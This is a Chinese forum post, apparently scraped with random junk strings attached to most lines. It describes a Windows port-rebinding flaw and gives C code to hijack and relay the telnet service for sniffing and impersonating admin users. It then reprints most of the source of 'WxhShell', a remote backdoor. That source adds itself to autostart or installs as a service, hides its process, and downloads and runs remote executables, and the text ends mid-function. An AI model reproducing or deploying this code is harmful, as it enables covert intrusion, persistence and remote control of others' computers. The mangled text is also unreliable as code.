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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L]C|&K P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WG0Ne;Ho  
qz .{[ l  
  saddr.sin_family = AF_INET; +7]]=e<[E  
g~i%*u,Y<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +jPs0?}s  
[9S?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R;68C6 4  
U:n3V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KPcOW#.T  
A=S_5y  
  这意味着什么?意味着可以进行如下的攻击: 1D/9lR,  
Y "RjMyQh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x&SG gl  
!leLOi2T  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'nO%1BZj+  
[h GS*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mrgieb%  
KkJK5dZo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dO{a!Ca  
Z+*t=?L,,G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _Bp{~-fO  
Qg\{d)X[N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SQ_w~'(  
l6wN&JHTh  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nYc8+5CcK'  
g]hTz)8fF  
  #include Xj^Hy"HC^~  
  #include '8$*gIQ8  
  #include E~y@ue:  
  #include    1D6F WYV8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0A}'@N@G)  
  int main() ~F ,mc.  
  { -J$,W`#z  
  WORD wVersionRequested; ~x:B@Ow  
  DWORD ret; CE'd`_;HLn  
  WSADATA wsaData; >8*J ;(:W  
  BOOL val; A+:X  
  SOCKADDR_IN saddr; lLb"><8a  
  SOCKADDR_IN scaddr; X{j`H\'L  
  int err; t%`GXJb  
  SOCKET s; t[ Zoe+&  
  SOCKET sc; sKvz<7pag  
  int caddsize; sfv{z!mo  
  HANDLE mt; <ETR6r  
  DWORD tid;   X<OOgC  
  wVersionRequested = MAKEWORD( 2, 2 ); {O4y Y=G  
  err = WSAStartup( wVersionRequested, &wsaData ); g=T !fF=  
  if ( err != 0 ) { <]jKpJ{3N  
  printf("error!WSAStartup failed!\n"); #@*;Y(9Ol  
  return -1; X \1grM  
  } EO<{Bj=2  
  saddr.sin_family = AF_INET; NZ}DbA+g;|  
   = %O@%v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hd@ >p.  
BO3#*J5S\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |V 3AA   
  saddr.sin_port = htons(23); {g%F 3-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dp5hr8bT  
  { bP4<q?FKcN  
  printf("error!socket failed!\n"); 'k?%39  
  return -1; R*v~jR/   
  } Oc|`<^m  
  val = TRUE; `H:5D5]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _Py/,Ks.q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?G48GxJ  
  { Y 0f"}A1  
  printf("error!setsockopt failed!\n"); ?-y!FD}m&  
  return -1; Ax9a5;5WM  
  } OqaVp/,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ubpVrvu@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <K$X>&Ts  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ? x*Ve2+]  
7~2/NU?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Zr&~gXmVS  
  { jP]I>Tq  
  ret=GetLastError(); 3kl<~O|Fs  
  printf("error!bind failed!\n"); f^tCD'Vmi  
  return -1; IwE{Zvr  
  } <0Mc\wy  
  listen(s,2); 0nh;0Z  
  while(1) UJqDZIvC  
  { vbDSNm#Yv  
  caddsize = sizeof(scaddr); +, SUJ|  
  //接受连接请求 9vAY|b^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @ 435K'!  
  if(sc!=INVALID_SOCKET) D 2U")g}U  
  { DH#n7s'b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $qoh0$  
  if(mt==NULL) X"S-f; b#  
  { jK[~d Y  
  printf("Thread Creat Failed!\n"); .3{PgrZ  
  break; #~ :j< =o  
  } 9WJS.\G^  
  } DPU%4te  
  CloseHandle(mt); i|@lUXBp  
  } +x7b9sHJ  
  closesocket(s); -R~!N#y  
  WSACleanup(); `30og]F0YJ  
  return 0; Yt 9{:+[RK  
  }   @+gr>a1K#  
  DWORD WINAPI ClientThread(LPVOID lpParam) RS$!TTeQ  
  { 9^;)~ G  
  SOCKET ss = (SOCKET)lpParam; \Bg;^6U  
  SOCKET sc; ),G?f {`!  
  unsigned char buf[4096]; 5pOb;ry")`  
  SOCKADDR_IN saddr; q,ry3Nr4n  
  long num; k63]Qf=5?N  
  DWORD val; +w(sDH~kd  
  DWORD ret; jLANv{"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w3l+BUn:X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P4M*vZq)  
  saddr.sin_family = AF_INET; FD}hw9VyF@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D[m+= -  
  saddr.sin_port = htons(23); P,$|.p d'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k *a?Ey$  
  { e~Oge  
  printf("error!socket failed!\n"); N W/RQ(  
  return -1; PRs[! EB6  
  } X&B2&e;  
  val = 100; $_j\b4]%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qdlz#-B  
  { .,)C^hs@  
  ret = GetLastError(); Dlc=[kf9  
  return -1; z!z+E%H^  
  } (&2 5 8i,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0@FZQ$-  
  { ewo1^&#>  
  ret = GetLastError(); 1;; is  
  return -1; #~&SkIhBE  
  } $.a4Og2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y>:-6)pv  
  { >i`V-"x  
  printf("error!socket connect failed!\n"); F"3LG"  
  closesocket(sc); J 8/]&Ow  
  closesocket(ss); #cN0ciCT'  
  return -1; 7e{w)m:A  
  } 5hVp2 w-  
  while(1) ,a:!"Z^ f  
  { \S[7-:Lu^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E>/kNl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .L,xqd[zC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N36<EHq  
  num = recv(ss,buf,4096,0); S,K'y?6  
  if(num>0) ^ -s'Ad3  
  send(sc,buf,num,0); i.eu$~F  
  else if(num==0) U_/sY9gz(  
  break; >dnH  
  num = recv(sc,buf,4096,0); UDJ{ iZ  
  if(num>0) Ueq*R(9>  
  send(ss,buf,num,0); 6ty>0  
  else if(num==0) Jj<UtD+  
  break; QAp+LSm  
  } TRQ@=.  
  closesocket(ss); [ n[!RddY  
  closesocket(sc); 9?VyF'r=  
  return 0 ; ]Iku(<*Ya  
  } 9#:b+Amzz  
! xU1[,9  
; TaR1e0  
========================================================== N;<.::x  
X8F@U ^@  
下边附上一个代码,,WXhSHELL }y<p_dZI  
yPgDb[V+  
========================================================== 7pB5o2CD0  
n*tT <  
#include "stdafx.h"  2 EG`  
*O>OHX  
#include <stdio.h> n:hHm,  
#include <string.h> ~! *xi  
#include <windows.h> < a g|#  
#include <winsock2.h> M;BDo(1  
#include <winsvc.h> 9uV'# sR  
#include <urlmon.h> 'baew8Q#  
\q2#ef@2  
#pragma comment (lib, "Ws2_32.lib") CNC3">Dk~9  
#pragma comment (lib, "urlmon.lib") {-(}p+;z  
ZI'MfkEZ*  
#define MAX_USER   100 // 最大客户端连接数 A]fN~PR  
#define BUF_SOCK   200 // sock buffer 7j9:s>D  
#define KEY_BUFF   255 // 输入 buffer l 8I`%bu  
gW{<:6}!*  
#define REBOOT     0   // 重启 'cs!(z-{x  
#define SHUTDOWN   1   // 关机 KO`ftz3 +  
k7rFbrL Z  
#define DEF_PORT   5000 // 监听端口 % D]vKv~<  
zTDB]z!A  
#define REG_LEN     16   // 注册表键长度 Hzr<i4Y=w9  
#define SVC_LEN     80   // NT服务名长度 -WDU~VSU  
]7 qn&(]  
// 从dll定义API SZO$#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8MHYk>O~{G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H4s^&--  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =0te.io)3O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K[tQ>C@s2  
W|IMnK-  
// wxhshell配置信息 %LeQpbyOR  
struct WSCFG { ' `0kW_'  
  int ws_port;         // 监听端口 Vej [wY-c  
  char ws_passstr[REG_LEN]; // 口令 `Yk~2t"V  
  int ws_autoins;       // 安装标记, 1=yes 0=no #cB=] (N  
  char ws_regname[REG_LEN]; // 注册表键名 VO _! +  
  char ws_svcname[REG_LEN]; // 服务名 2V6=F[T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c/l%:!A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LRF_w)^['  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X<\E 'v`~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !PQ%h/ix  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  %2 A-u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M2K{{pGJ[&  
E5a1 7ra  
}; `6`p~  
v-zi ,]W  
// default Wxhshell configuration -f&16pc1t  
struct WSCFG wscfg={DEF_PORT, P`/;3u/P  
    "xuhuanlingzhe", yc4?'k!  
    1, -__RFxG  
    "Wxhshell", 9`83cL  
    "Wxhshell", F`/-Q>Q  
            "WxhShell Service", 3\x@G)1  
    "Wrsky Windows CmdShell Service", `Gct_6  
    "Please Input Your Password: ", Lk?%B)z  
  1, Y ^s_v_s  
  "http://www.wrsky.com/wxhshell.exe", |eN#9Bm  
  "Wxhshell.exe" 5a$Q}!6E.Y  
    }; X9W'.s.[Q  
gZa/?[+  
// 消息定义模块 ]Gk;n/! B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NSQ}:m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \Wdl1 =`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iD*%' #u  
char *msg_ws_ext="\n\rExit."; 7Hghn"ol  
char *msg_ws_end="\n\rQuit."; "gm[q."n<  
char *msg_ws_boot="\n\rReboot..."; ~0}gRpMW  
char *msg_ws_poff="\n\rShutdown..."; i!H)@4jX  
char *msg_ws_down="\n\rSave to "; &|/@;EA$8  
4o+SSS  
char *msg_ws_err="\n\rErr!"; 1J`<'{*  
char *msg_ws_ok="\n\rOK!"; #6t 4 vJ1  
"r!>p\.0O  
char ExeFile[MAX_PATH]; IM.sW'E  
int nUser = 0; nkI+"$Rz0  
HANDLE handles[MAX_USER]; p`/"e<TP  
int OsIsNt; !n;0%"(FH  
Gv ';  
SERVICE_STATUS       serviceStatus; [I*)H7pt}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w %4SNR  
p>4tPI}bf  
// 函数声明 Rm@#GP`  
int Install(void); *QKxrg  
int Uninstall(void); ]!7 %)  
int DownloadFile(char *sURL, SOCKET wsh); 4Zz%vY  
int Boot(int flag); r7Vt,{4/  
void HideProc(void); tcDWx:Q  
int GetOsVer(void); t0*kL.  
int Wxhshell(SOCKET wsl); vY 0EffZ  
void TalkWithClient(void *cs); 0P{^aSxTP  
int CmdShell(SOCKET sock); -L4fp  
int StartFromService(void); Nk.m$  
int StartWxhshell(LPSTR lpCmdLine); $|kq{@<  
vbt0G-%Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <x QvS^|[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zKh^BwhO|X  
o,-p[1b  
// 数据结构和表定义 qPI\Y3ZU  
SERVICE_TABLE_ENTRY DispatchTable[] = jeKqS  
{ |j 9d.M  
{wscfg.ws_svcname, NTServiceMain}, <z'Pj7c[  
{NULL, NULL} \ a#{Y/j3  
}; 6?;U[eV  
/ @v V^!#1  
// 自我安装 4>x$I9^Y!  
int Install(void) m:6^yfS  
{ 1X8P v*,  
  char svExeFile[MAX_PATH]; y4\(ynk  
  HKEY key; NO)Hi)$X6Y  
  strcpy(svExeFile,ExeFile); 6o5NeKZ  
+9^V9]{Vo  
// 如果是win9x系统,修改注册表设为自启动 fwF&V^Dy  
if(!OsIsNt) { Mh =yIx</  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /M,C%.-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yL2sce[  
  RegCloseKey(key); ;;4>vF#*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '99rXw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zz,j,w0 Z  
  RegCloseKey(key); CF,-l B  
  return 0; #mIgk'kW<  
    } #EG W76 f  
  } :P2{^0$  
} :VkuK@Th`  
else { c -sc*.&  
8+* 1s7{  
// 如果是NT以上系统,安装为系统服务 v}cTS@0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?\Bm>p% +  
if (schSCManager!=0) p*NKM} ]I  
{ MG}rvzn@  
  SC_HANDLE schService = CreateService }1xD*[W  
  ( Cs!z3QU  
  schSCManager, w"Q/ 6#!K  
  wscfg.ws_svcname, XRl!~Y|  
  wscfg.ws_svcdisp, 9QXBz=Fnf  
  SERVICE_ALL_ACCESS, 0hN gr'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T'ko =k  
  SERVICE_AUTO_START, BvnNAi  
  SERVICE_ERROR_NORMAL, ;L*Ku'6Mt  
  svExeFile, +$uQ_ve  
  NULL, >Ut4INV  
  NULL, _J,lF-,  
  NULL, #\zC|%2+z  
  NULL, Z|#G+$"QV  
  NULL h tuYctu`  
  ); :5'8MU  
  if (schService!=0) |F}6Zv  
  { 4)Bk:K  
  CloseServiceHandle(schService); .5^7Jwh  
  CloseServiceHandle(schSCManager); 5i0vli /L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]/#3 P  
  strcat(svExeFile,wscfg.ws_svcname); YHp]O+c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XLgp.w;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N,3 )`Vm  
  RegCloseKey(key); DqJzsk'd3  
  return 0; ;hgRMkmz4<  
    } c]/X >8;  
  } B*@0l:  
  CloseServiceHandle(schSCManager); F(; =^w  
} e"d-$$'e  
} &cpqn2Z  
-=InGm\Y  
return 1; 20,}T)}Tm  
} <#ng"1J  
cU|tG!Ij?  
// 自我卸载 W9rmAQjn  
int Uninstall(void) !hugn6  
{ Z?f-_NHg  
  HKEY key; O}-+o1  
shZEE2Dr  
if(!OsIsNt) { $=9g,39  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \S_o{0ZY}  
  RegDeleteValue(key,wscfg.ws_regname); oazY?E]}3  
  RegCloseKey(key); 'Q dDXw5o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ii5dTimRJ  
  RegDeleteValue(key,wscfg.ws_regname); B9: i.rQ  
  RegCloseKey(key); 0woLB#v9  
  return 0; hnnVp_<]  
  } oFi_ op  
} D~zk2  
} g QYs,  
else { / tG[pg{[  
+C36OcmT~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ROr|n]aJj  
if (schSCManager!=0) ~f6 Q  
{ ts/Ha*h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [gIvB<Uv  
  if (schService!=0) <{cf'"O7)  
  { c6Z"6-}$  
  if(DeleteService(schService)!=0) { xUF5  
  CloseServiceHandle(schService); B!x7oD9  
  CloseServiceHandle(schSCManager); 5h l!zA?  
  return 0; Y`*h#{|  
  } {nj`>  
  CloseServiceHandle(schService); <u}[_  
  } E#~J"9k98  
  CloseServiceHandle(schSCManager); v05$"Ig  
} AIG5a$}&  
} gX~lYdA  
qQwf#&  
return 1; }vEMG-sxX  
} S=a>rnF  
&9ERlZ(A  
// 从指定url下载文件 BC)1FxsGf  
int DownloadFile(char *sURL, SOCKET wsh) 9>6?tb"f*H  
{ ?$6(@>`f&t  
  HRESULT hr; ] 1s6=  
char seps[]= "/"; Xd@ d$  
char *token; v[4-?7-  
char *file; G.~Ffk  
char myURL[MAX_PATH]; ?/fC"MJq?  
char myFILE[MAX_PATH]; ,R}9n@JI^Y  
ncpNesB  
strcpy(myURL,sURL); wz{&0-md*'  
  token=strtok(myURL,seps); S@ @#L  
  while(token!=NULL) 8^pu C  
  { 2f5YkmGc";  
    file=token; f&I5bPS7}  
  token=strtok(NULL,seps); }BWT21'-Y  
  } F):1@.S  
ODxCD%L  
GetCurrentDirectory(MAX_PATH,myFILE); &3|l4R\  
strcat(myFILE, "\\"); (z:qj/|  
strcat(myFILE, file); wln"g,ct  
  send(wsh,myFILE,strlen(myFILE),0); /],9N  
send(wsh,"...",3,0); +yxL}=4s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +W"DN5UV  
  if(hr==S_OK) Tq,dlDDOR  
return 0; -#Jp@6'k%  
else lvH} 8 lJ  
return 1; G4^6o[x  
i|xC#hV  
} ! Q8y]9O  
L5 wR4Ue)  
// 系统电源模块 P@0J!  
int Boot(int flag) ?&D.b$  
{ pHKc9VC  
  HANDLE hToken; hm0MO,i"  
  TOKEN_PRIVILEGES tkp; ~{ucr#]C  
FK @Gd)(  
  if(OsIsNt) { 1fTf+P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;NF:98  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !8|?0>3)  
    tkp.PrivilegeCount = 1; K?Jo"oy7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `(xzCRX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]VaMulb4  
if(flag==REBOOT) { Uka(Vr:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qb$M.-\ne  
  return 0; $U"pdf  
} W)AfXy  
else { :)F0~Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '>GPk5Nq77  
  return 0; Q[9W{l+  
} _~ 3r*j  
  } p2hPLq  
  else { zFr#j~L"  
if(flag==REBOOT) { v}.~m)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lb~' I=9D  
  return 0; %GGSd0 g  
} ]] T,;|B  
else { _FCg5F2U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~En]sj  
  return 0; MaZVGrcC  
} hVNT  
} ,MUgww!.  
!`dMTW  
return 1; I7+yu>  
} G_ #MXFWt  
a&Me#H{  
// win9x进程隐藏模块 6('CB|ga  
void HideProc(void) T2TWb  
{ *9US>mVy  
|=[. _VH1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @xr}(.  
  if ( hKernel != NULL ) jP.dQj^j&  
  { G[]h1f!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v)~!HCG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2BO"mc<#$  
    FreeLibrary(hKernel); 7 b{y  
  } XdE|7=+s  
s0'6r$xj  
return; SP4(yJy&  
} t\O#5mo  
SmV}Wf  
// 获取操作系统版本 'jYKfq~_cJ  
int GetOsVer(void) nq\~`vH|Gd  
{ rxOv YF  
  OSVERSIONINFO winfo; HE-ErEtGB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jpZ 7p ;  
  GetVersionEx(&winfo); X.AE>fx*h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hLaQ[9  
  return 1; F#z1 sl'  
  else Fnuheb'&m  
  return 0; #'I<q  
} >vDi,qmZ  
> 0c g  
// 客户端句柄模块 ]Aj5 K  
int Wxhshell(SOCKET wsl) ITZ}$=   
{ {5 (M   
  SOCKET wsh; vofBS   
  struct sockaddr_in client; :H/Rhx=  
  DWORD myID; $PMD$c  
bQHJ}aCi  
  while(nUser<MAX_USER) s qO$ka{  
{ ,vB nr_D#  
  int nSize=sizeof(client); 8 -9<r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Py?.H   
  if(wsh==INVALID_SOCKET) return 1; q*}$1 zb  
"5"{~3Gw^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HBZtg  
if(handles[nUser]==0) 5>-~!Mg1  
  closesocket(wsh); ",]A.,  
else j|VX6U   
  nUser++; !Hj 7|5  
  } Vg7BK%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {*X|)nr  
|5*:ThC[  
  return 0; <W/YC 2b  
} #(-?i\i  
oTveY  
// 关闭 socket ;oOv~ YB7H  
void CloseIt(SOCKET wsh) 0+k=gO  
{ vkLyGb7r<  
closesocket(wsh); +< )H2  
nUser--; gyob q'o-  
ExitThread(0);  >1q:-^  
} ckbD/+  
,S1'SCwVdJ  
// 客户端请求句柄 CIQ9dx7>  
void TalkWithClient(void *cs) G5UNW<P2C  
{ v %S$5  
-pQ0,/}K  
  SOCKET wsh=(SOCKET)cs; uCj)7>}v{M  
  char pwd[SVC_LEN]; 2,p= %  
  char cmd[KEY_BUFF]; *Tq7[v{0*|  
char chr[1]; `eKFs0M.  
int i,j; 33NzQb  
LG=_>:~t>  
  while (nUser < MAX_USER) { uk3PoB^>  
|%j7Es  
if(wscfg.ws_passstr) { Nk?L<'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ht*;,[ea  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JQSczE3  
  //ZeroMemory(pwd,KEY_BUFF); ]T%wRd5&-  
      i=0; O*9d[jw[  
  while(i<SVC_LEN) { IW=%2n(<1  
&7KX`%K"D  
  // 设置超时 ~uuM0POo  
  fd_set FdRead; ZSn6JV'g  
  struct timeval TimeOut; A6#v6iT  
  FD_ZERO(&FdRead); DS7Pioa86  
  FD_SET(wsh,&FdRead); zI_pP?4;.q  
  TimeOut.tv_sec=8; SA~oGgk=P  
  TimeOut.tv_usec=0; L/,M@1@R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Kk>va->R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j^D/ ,SW  
7 ;x to =  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WDh*8!)  
  pwd=chr[0]; BUXlHh%<R  
  if(chr[0]==0xd || chr[0]==0xa) { C`\yc_b9Pf  
  pwd=0; -IL' (vx  
  break; {%z5^o1)  
  } 7/bF0 4~%  
  i++; la{o<||Aq  
    } lht :%Ts$  
Gk)6ljL  
  // 如果是非法用户,关闭 socket g?>   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C{YTHN n  
} :(i=> ~O  
XZxzw*Y1J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wbi12{C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7qg. :h  
6g"qwWZp  
while(1) { <4*)J9V^s=  
)NlxW5  
  ZeroMemory(cmd,KEY_BUFF); Cp#}x1{  
PBAQ KQ  
      // 自动支持客户端 telnet标准   'L2[^iF9  
  j=0; Jy0(g T  
  while(j<KEY_BUFF) { ?IR+OCAA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LHq*E`  
  cmd[j]=chr[0]; <^adt *m  
  if(chr[0]==0xa || chr[0]==0xd) { f4^\iZ{`G  
  cmd[j]=0; {QT:1U \.  
  break; sl*&.F,v=  
  } Oma G|2u  
  j++; 1pTQMf a  
    } J!iK W  
 bRx}ih  
  // 下载文件 }SGb`l  
  if(strstr(cmd,"http://")) { CMYkxU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HG)h,&nc-  
  if(DownloadFile(cmd,wsh)) 8b $e)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Pd2%  
  else l6 T5]$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?8$h%Ov-  
  } .7n`]S/  
  else { P,7beHjf  
$WbfRyXi7'  
    switch(cmd[0]) { %Pk@`t(3  
  }M${ _D  
  // 帮助 l8d }g  
  case '?': { dhi9=Co;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <X]dR 6FT  
    break; gm}zF%B"  
  } 6"V86b0)h}  
  // 安装 z_87 ;y;=  
  case 'i': { Uy$?B"Z  
    if(Install()) 0lpUn74F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Lvta4}7(  
    else D__*?frWpW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {y|j**NZ  
    break; )IGx3+I ,  
    } ^%/d]Zwb  
  // 卸载 b+THn'2  
  case 'r': { 8-q4'@(  
    if(Uninstall()) 3Oe\l[?$;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @BqSu|'Du,  
    else A@n//AZM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9w$+Qc  
    break; M;E$ ]Z9  
    } 8z* /J=n  
  // 显示 wxhshell 所在路径 g y1i%  
  case 'p': { \_|r>vQ  
    char svExeFile[MAX_PATH]; &(A'uX.>pr  
    strcpy(svExeFile,"\n\r"); EV N:3  
      strcat(svExeFile,ExeFile); 5}`e"X  
        send(wsh,svExeFile,strlen(svExeFile),0); Bk~%  
    break; jNP%BNd1f  
    } tnC,1HV0[  
  // 重启 {_X&{dZLX  
  case 'b': { D<xDj#Z~1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $~:|Vj5iZ\  
    if(Boot(REBOOT)) d7v_>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Gy+y`   
    else { 8#15*'Y  
    closesocket(wsh); _E xd:  
    ExitThread(0); CI@qT}Y_  
    } ?., 2EC=+  
